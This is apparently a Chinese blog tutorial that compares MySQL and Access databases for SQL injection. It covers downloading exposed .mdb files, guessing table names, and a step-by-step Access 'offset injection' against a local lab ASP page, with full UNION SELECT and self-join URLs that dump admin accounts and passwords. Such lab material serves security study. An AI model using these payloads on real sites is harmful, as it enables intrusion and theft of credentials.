ACCESS数据库

比较Mysql结构及功能

结构

我们通过之前的学习知道了Mysql数据库的格式如下
MySql数据库->数据库->表名->列名->数据
而ACCESS数据库的格式如下:
ACCESS数据库->表名->列名->数据
我们通过一下案例来介绍一下:
在一个服务器中有ABCD四个站点,其中ABC三个站点使用MySql数据库,这种情况下三个站点的数据库将全部存在于Mysql数据库中,而D使用ACCESS数据库,它会单独存在,由于结构上的问题,跨库注入在access中一般不会利用到,而在Mysql中是可以利用跨库注入的。

格式案例:mysql数据库的存储格式myi,myd,frm,其中三个格式对应一个数据库。

在数据库的MySql根目录下的data目录中存放的是我们数据库

ACCESS数据库格式:mdb或asp asa等存储在网站目录下。

首先我们知道mdb文件是可以下载的,如果我们知道其存放的目录是在哪里,我们可以通过浏览器将文件下载,直接拿到数据库信息。

功能

mysql支持文件操作功能,注入的时候也可以操作文件
access除了sql查询之外,没有高级功能
mysql注入的时候经常会用到information_schema查询数据库下的表名以及列名信息,access是没有这种类似数据库的,也就是access获取表名以及列名信息数据暴力猜解。

其他

access数据库会存在表明或者列名猜解不到的情况
access偏移注入可以用来解决列名获取不到的情况,有部分几率会直接得到数据。
表明:关注url地址,后台地址表单等信息进行猜解
例如:www.xxx.com/pe_new.asp或pe_admin,这种情况下表名可能是pe_admin
后台地址表单的值为admin_user表明可能为admin_admin,这仅仅是通过测试得到的经验,不一定是正确的。

偏移注入测试

首先我们测试有多少列,在我们输入order by 22的时候是正确显示内容的

http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20order%20by%2022


输入order by 23报错,从这里我们知道之前有22列

http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20order%20by%2023

之后的测试:

判断回显数据的位置,这里是3和15,其中admin是表名

http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20admin

当我们用*来测试的时候,16的位置为正确,说明*号等于(22-16),等于6

http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*%20from%20admin

然后我们继续测试,这个时候,我们需要用剩余的16-6得到10,然后用如下命令来测试,这个时候就会爆出账户

http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,5,6,7,8,9,10,a.id,b.id,*%20from%20(admin%20as%20a%20inner%20join%20admin%20as%20b%20on%20a.id%20=%20b.id)

接下来我们继续将数据减去6个,我们使用如下来拿到密码

http://127.0.0.1:8002/Production/PRODUCT_DETAIL.asp?id=1513%20union%20select%201,2,3,4,a.id,b.id,*%20from%20(admin%20as%20a%20inner%20join%20admin%20as%20b%20on%20a.id%20=%20b.id)inner%20join%20admin%20as%20c%20on%20a.id%20=%20c.id

最后修改:2020 年 08 月 26 日
如果觉得我的文章对你有用,请随意赞赏